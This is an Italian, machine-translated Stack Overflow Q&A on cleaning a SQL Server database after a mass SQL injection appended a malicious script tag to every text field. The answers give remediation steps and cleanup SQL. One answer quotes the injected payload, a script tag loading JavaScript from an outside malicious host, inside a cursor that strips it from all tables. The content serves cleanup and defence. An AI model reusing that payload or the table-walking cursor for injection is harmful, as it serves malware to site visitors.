Domanda

Ho ricevuto l'incarico con il mantenimento di un sito web senza scopo di lucro che recentemente è caduto vittima di un attacco di SQL injection.Qualcuno sfruttato un modulo sul sito per aggiungere del testo per ogni testo-come il campo del database (varchar, nvarchar, etc.) che, quando viene eseguito il rendering HTML, comprende ed esegue un file JavaScript.

Una ricerca su Google l'URL indica che è da email spammer in base in Romania o in Cina, ma che non è la cosa importante adesso.

Sono andato attraverso e rimosso manualmente le informazioni da campi di testo che rendere più visibile e popolare le pagine del sito, ma sono curioso di sapere quale sarebbe il miglior modo programmatico di rimuovere il testo da altri campi di testo sul sito.

Ovviamente c'è di più che deve essere fatto (tempra il sito contro attacchi di tipo SQL injection, utilizzando qualcosa di simile markdown invece di memorizzare HTML, etc.) e sto lavorando su quelli, ma per il momento quello che ho veramente bisogno è un buon modo per andare in a livello di programmazione e rimuovere il iniettati di testo.So qual è il testo esatto, è la stessa ogni volta, ed è sempre aggiunto alla fine di ogni campo di testo.Non posso permettermi di togliere tutto il codice HTML nel database in questo momento e non so quando questo è accaduto esattamente così non posso ripristinare un backup.Inoltre, il sito è su hosting condiviso e non riesco a connettermi al database direttamente con gli strumenti di SQL Server.Posso eseguire query su di esso, però, così se c'è qualche modo di costruire un'istruzione SQL update per l'effetto di "hey trovare tutti i campi di testo in tutte le tabelle del database per fare questa pulizia" che sarebbe la migliore.

È stato utile?

Soluzione

Ripristinare i dati da un backup recente.

Altri suggerimenti

Sono stato vittima e si può utilizzare per pulire

UPDATE Table 
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1)
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0)))

Supponendo di aver subito lo stesso attacco, come tutti gli altri, quindi SQLMenace' codice è vicino.Tuttavia, che l'attacco usa un certo numero di diversi script url, quindi dovrete personalizzare per assicurarsi che corrisponda l'url che si sta vedendo nel database.

Ho scritto su di esso e, e la mia soluzione di un codice incluso un più generico di pulitura.

Un punto importante è che la prima cosa che devi fare è prendere giù il sito.Adesso si sta attivamente il malware per gli utenti, e che potrebbe mettere in una legge fix più tardi.Mettere un segnaposto pagina in modo che gli utenti non sono lasciati al buio, ma non tengono serve malware.Quindi è possibile correggere il sito per assicurarsi che esso non è più vulnerabili a iniezione.Il modo più semplice per farlo per questo particolare tipo di attacco è sufficiente disattivare il sysobjects/syscolumns le autorizzazioni per l'utente web, ma si vuole fare un di più, attraverso la pulitura così o è solo una questione di tempo finché non si è rotto di nuovo.Quindi è possibile utilizzare il codice fornito per pulire il sito e mettere di nuovo dal vivo.

Questa inversione che, inoltre, sarebbe saggio prendere sysobject autorizzazioni di distanza da il nome utente del vostro sito funziona, e per disinfettare ingresso di corso

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR FOR 
SELECT  a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('if exists (select 1 from ['+@T+'] where ['+@C+']  like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['+@T+'] set ['+@C+']=replace(['+@C+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['+@C+']  like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

Ho scritto su questo un po ' indietro qui: Microsoft Ha Rilasciato gli Strumenti Per affrontare Attacchi di SQL Injection

Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top